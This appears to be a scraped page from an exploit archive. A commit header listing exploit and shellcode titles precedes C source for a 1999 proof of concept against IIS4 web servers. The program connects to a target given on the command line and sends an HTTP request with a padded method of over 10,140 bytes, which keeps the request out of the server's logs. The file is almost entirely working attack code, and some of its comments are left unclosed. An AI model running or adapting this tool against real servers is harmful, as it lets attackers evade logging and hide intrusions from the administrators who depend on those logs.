
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
101 lines
No EOL
1.7 KiB
C
101 lines
No EOL
1.7 KiB
C
// source: https://www.securityfocus.com/bid/191/info
|
|
|
|
An http get request against an IIS4 server will not be logged if the request is longer than 10150 bytes long.
|
|
|
|
/* Compile with eg Visual C++ and link with wsock32.lib
|
|
|
|
#include <stdio.h>
|
|
#include <winsock2.h>
|
|
#include <string.h>
|
|
|
|
|
|
int main (int argc, char *argv[])
|
|
{
|
|
int snd, rcv, err, portno,a=0,b, res;
|
|
char resp[1024];
|
|
WORD wVersionRequested;
|
|
WSADATA wsaData;
|
|
struct sockaddr_in sa;
|
|
struct hostent *he;
|
|
SOCKET sock;
|
|
|
|
if (argc !=2)
|
|
{
|
|
printf("Usage:\nc:\\>%s target_machine\n\nDavid Litchfield\n21st January
|
|
1999\n", argv[0]);
|
|
return 0;
|
|
}
|
|
wVersionRequested = MAKEWORD( 2, 0 );
|
|
err = WSAStartup( wVersionRequested, &wsaData );
|
|
|
|
if ( err != 0 )
|
|
{
|
|
printf("No winsock.dll\n");
|
|
return 0;
|
|
}
|
|
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
|
|
{
|
|
printf("No winsock.dll - 2nd\n");
|
|
WSACleanup( );
|
|
return 0;
|
|
}
|
|
|
|
if ((he = gethostbyname(argv[1])) == NULL)
|
|
{
|
|
printf("Invalid Host\n");
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
|
|
sock=socket(AF_INET,SOCK_STREAM,0);
|
|
if (sock==INVALID_SOCKET)
|
|
{
|
|
printf("Invalid Socket!\n");
|
|
return 0;
|
|
}
|
|
else
|
|
{
|
|
printf("");
|
|
}
|
|
|
|
sa.sin_addr.s_addr=INADDR_ANY;
|
|
sa.sin_family=AF_INET;
|
|
|
|
|
|
|
|
bind(sock,(struct sockaddr *)&sa,sizeof(sa));
|
|
|
|
|
|
|
|
sa.sin_port=htons(80);
|
|
|
|
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
|
|
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
|
|
{
|
|
printf("Failed to connect!\n");
|
|
}
|
|
else
|
|
{
|
|
|
|
/* This loop creates the REQUEST_METHOD and makes it 10140 bytes long
|
|
|
|
while (a < 10141)
|
|
{
|
|
snd=send(sock,"A", 1, 0);
|
|
a ++;
|
|
}
|
|
snd=send(sock," /default.asp HTTP/1.0\n\n",43,0);
|
|
rcv=recv(sock,resp,256,0);
|
|
printf("\n%s",resp);
|
|
rcv=recv(sock,resp,1024,0);
|
|
printf("\n%s\n\n",resp);
|
|
|
|
}
|
|
|
|
|
|
closesocket(sock);
|
|
|
|
return 0;
|
|
}
|